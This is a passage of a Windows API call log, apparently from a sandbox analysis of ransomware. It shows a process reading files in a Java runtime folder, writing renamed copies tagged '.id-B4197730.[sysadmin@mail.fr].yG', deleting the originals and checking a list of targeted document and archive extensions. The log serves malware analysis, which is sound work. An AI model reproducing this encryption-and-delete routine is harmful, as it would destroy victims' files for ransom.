	[0141.392] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.392] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.393] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0141.395] GetLastError () returned 0x0
	[0141.395] ReadFile (in: hFile=0x428, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0xb2c, lpOverlapped=0x0) returned 1
	[0141.427] WriteFile (in: hFile=0x498, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xb30, lpOverlapped=0x0) returned 1
	[0141.429] ReadFile (in: hFile=0x428, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.429] WriteFile (in: hFile=0x498, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0141.429] SetEndOfFile (hFile=0x498) returned 1
	[0141.429] CloseHandle (hObject=0x498) returned 1
	[0141.429] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.429] SetEndOfFile (hFile=0x428) returned 1
	[0141.433] CloseHandle (hObject=0x428) returned 1
	[0141.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0141.434] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 1
	[0141.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0141.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0141.436] lstrlenW (lpString=".doc") returned 4
	[0141.436] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.436] lstrlenW (lpString=".docx") returned 5
	[0141.436] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.436] lstrlenW (lpString=".pdf") returned 4
	[0141.436] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.436] lstrlenW (lpString=".xls") returned 4
	[0141.436] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.436] lstrlenW (lpString=".xlsx") returned 5
	[0141.436] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.436] lstrlenW (lpString=".ppt") returned 4
	[0141.436] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0141.437] lstrlenW (lpString=".zip") returned 4
	[0141.437] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.437] lstrlenW (lpString=".rar") returned 4
	[0141.437] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.437] lstrlenW (lpString=".bz2") returned 4
	[0141.437] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.437] lstrlenW (lpString=".7z") returned 3
	[0141.437] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0141.437] lstrlenW (lpString=".dbf") returned 4
	[0141.437] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0141.437] lstrlenW (lpString=".1cd") returned 4
	[0141.437] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0141.438] lstrlenW (lpString=".jpg") returned 4
	[0141.438] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0141.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0141.438] lstrlenW (lpString=".doc") returned 4
	[0141.438] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.438] lstrlenW (lpString=".docx") returned 5
	[0141.438] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.438] lstrlenW (lpString=".pdf") returned 4
	[0141.438] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.438] lstrlenW (lpString=".xls") returned 4
	[0141.438] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.438] lstrlenW (lpString=".xlsx") returned 5
	[0141.438] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.438] lstrlenW (lpString=".ppt") returned 4
	[0141.438] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0141.439] lstrlenW (lpString=".zip") returned 4
	[0141.439] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.439] lstrlenW (lpString=".rar") returned 4
	[0141.439] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.439] lstrlenW (lpString=".bz2") returned 4
	[0141.439] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.439] lstrlenW (lpString=".7z") returned 3
	[0141.439] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0141.439] lstrlenW (lpString=".dbf") returned 4
	[0141.439] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0141.439] lstrlenW (lpString=".1cd") returned 4
	[0141.439] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0141.439] lstrlenW (lpString=".jpg") returned 4
	[0141.440] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.440] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0141.440] lstrlenW (lpString="messages_zh_CN.properties") returned 25
	[0141.440] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0141.441] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=4072) returned 1
	[0141.441] CloseHandle (hObject=0x428) returned 1
	[0141.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20
	[0141.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.441] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0141.442] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.442] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.442] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0141.443] GetLastError () returned 0x0
	[0141.443] ReadFile (in: hFile=0x428, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0xfe8, lpOverlapped=0x0) returned 1
	[0141.453] WriteFile (in: hFile=0x498, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xff0, lpOverlapped=0x0) returned 1
	[0141.454] ReadFile (in: hFile=0x428, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.454] WriteFile (in: hFile=0x498, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x106, lpOverlapped=0x0) returned 1
	[0141.454] SetEndOfFile (hFile=0x498) returned 1
	[0141.455] CloseHandle (hObject=0x498) returned 1
	[0141.455] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.455] SetEndOfFile (hFile=0x428) returned 1
	[0141.459] CloseHandle (hObject=0x428) returned 1
	[0141.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0141.463] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 1
	[0141.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0141.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0141.463] lstrlenW (lpString=".doc") returned 4
	[0141.463] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.464] lstrlenW (lpString=".docx") returned 5
	[0141.464] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.464] lstrlenW (lpString=".pdf") returned 4
	[0141.464] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.464] lstrlenW (lpString=".xls") returned 4
	[0141.464] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.464] lstrlenW (lpString=".xlsx") returned 5
	[0141.464] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.464] lstrlenW (lpString=".ppt") returned 4
	[0141.464] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0141.464] lstrlenW (lpString=".zip") returned 4
	[0141.464] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.464] lstrlenW (lpString=".rar") returned 4
	[0141.464] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.464] lstrlenW (lpString=".bz2") returned 4
	[0141.464] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.464] lstrlenW (lpString=".7z") returned 3
	[0141.464] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0141.464] lstrlenW (lpString=".dbf") returned 4
	[0141.464] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0141.464] lstrlenW (lpString=".1cd") returned 4
	[0141.464] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0141.465] lstrlenW (lpString=".jpg") returned 4
	[0141.465] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0141.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0141.465] lstrlenW (lpString=".doc") returned 4
	[0141.465] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.465] lstrlenW (lpString=".docx") returned 5
	[0141.465] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.465] lstrlenW (lpString=".pdf") returned 4
	[0141.465] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.465] lstrlenW (lpString=".xls") returned 4
	[0141.465] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.465] lstrlenW (lpString=".xlsx") returned 5
	[0141.465] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.465] lstrlenW (lpString=".ppt") returned 4
	[0141.465] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0141.465] lstrlenW (lpString=".zip") returned 4
	[0141.465] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.465] lstrlenW (lpString=".rar") returned 4
	[0141.465] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.465] lstrlenW (lpString=".bz2") returned 4
	[0141.465] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.465] lstrlenW (lpString=".7z") returned 3
	[0141.465] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0141.465] lstrlenW (lpString=".dbf") returned 4
	[0141.466] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0141.466] lstrlenW (lpString=".1cd") returned 4
	[0141.466] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0141.466] lstrlenW (lpString=".jpg") returned 4
	[0141.466] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.466] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0141.466] lstrlenW (lpString="messages_zh_HK.properties") returned 25
	[0141.466] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0141.467] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=3752) returned 1
	[0141.468] CloseHandle (hObject=0x428) returned 1
	[0141.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20
	[0141.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.468] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0141.468] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.468] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.468] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0141.469] GetLastError () returned 0x0
	[0141.469] ReadFile (in: hFile=0x428, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0xea8, lpOverlapped=0x0) returned 1
	[0141.630] WriteFile (in: hFile=0x498, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xeb0, lpOverlapped=0x0) returned 1
	[0141.632] ReadFile (in: hFile=0x428, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.632] WriteFile (in: hFile=0x498, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x106, lpOverlapped=0x0) returned 1
	[0141.632] SetEndOfFile (hFile=0x498) returned 1
	[0141.632] CloseHandle (hObject=0x498) returned 1
	[0141.633] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.633] SetEndOfFile (hFile=0x428) returned 1
	[0141.641] CloseHandle (hObject=0x428) returned 1
	[0141.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0141.642] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 1
	[0141.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0141.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0141.642] lstrlenW (lpString=".doc") returned 4
	[0141.642] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.642] lstrlenW (lpString=".docx") returned 5
	[0141.642] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.642] lstrlenW (lpString=".pdf") returned 4
	[0141.643] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.643] lstrlenW (lpString=".xls") returned 4
	[0141.643] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.643] lstrlenW (lpString=".xlsx") returned 5
	[0141.643] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.643] lstrlenW (lpString=".ppt") returned 4
	[0141.643] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0141.643] lstrlenW (lpString=".zip") returned 4
	[0141.643] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.643] lstrlenW (lpString=".rar") returned 4
	[0141.643] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.643] lstrlenW (lpString=".bz2") returned 4
	[0141.643] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.643] lstrlenW (lpString=".7z") returned 3
	[0141.643] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0141.643] lstrlenW (lpString=".dbf") returned 4
	[0141.643] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0141.643] lstrlenW (lpString=".1cd") returned 4
	[0141.643] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0141.643] lstrlenW (lpString=".jpg") returned 4
	[0141.643] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0141.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0141.643] lstrlenW (lpString=".doc") returned 4
	[0141.644] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.644] lstrlenW (lpString=".docx") returned 5
	[0141.644] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.644] lstrlenW (lpString=".pdf") returned 4
	[0141.644] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.644] lstrlenW (lpString=".xls") returned 4
	[0141.644] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.644] lstrlenW (lpString=".xlsx") returned 5
	[0141.644] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.644] lstrlenW (lpString=".ppt") returned 4
	[0141.644] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.644] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0141.644] lstrlenW (lpString=".zip") returned 4
	[0141.644] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.644] lstrlenW (lpString=".rar") returned 4
	[0141.644] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.644] lstrlenW (lpString=".bz2") returned 4
	[0141.645] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.645] lstrlenW (lpString=".7z") returned 3
	[0141.645] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.645] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0141.645] lstrlenW (lpString=".dbf") returned 4
	[0141.645] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.645] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0141.645] lstrlenW (lpString=".1cd") returned 4
	[0141.645] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.645] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0141.645] lstrlenW (lpString=".jpg") returned 4
	[0141.645] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.645] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0141.646] lstrlenW (lpString="access-bridge-64.jar") returned 20
	[0141.646] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0141.650] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=188024) returned 1
	[0141.650] CloseHandle (hObject=0x428) returned 1
	[0141.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20
	[0141.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.650] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0141.651] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.651] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
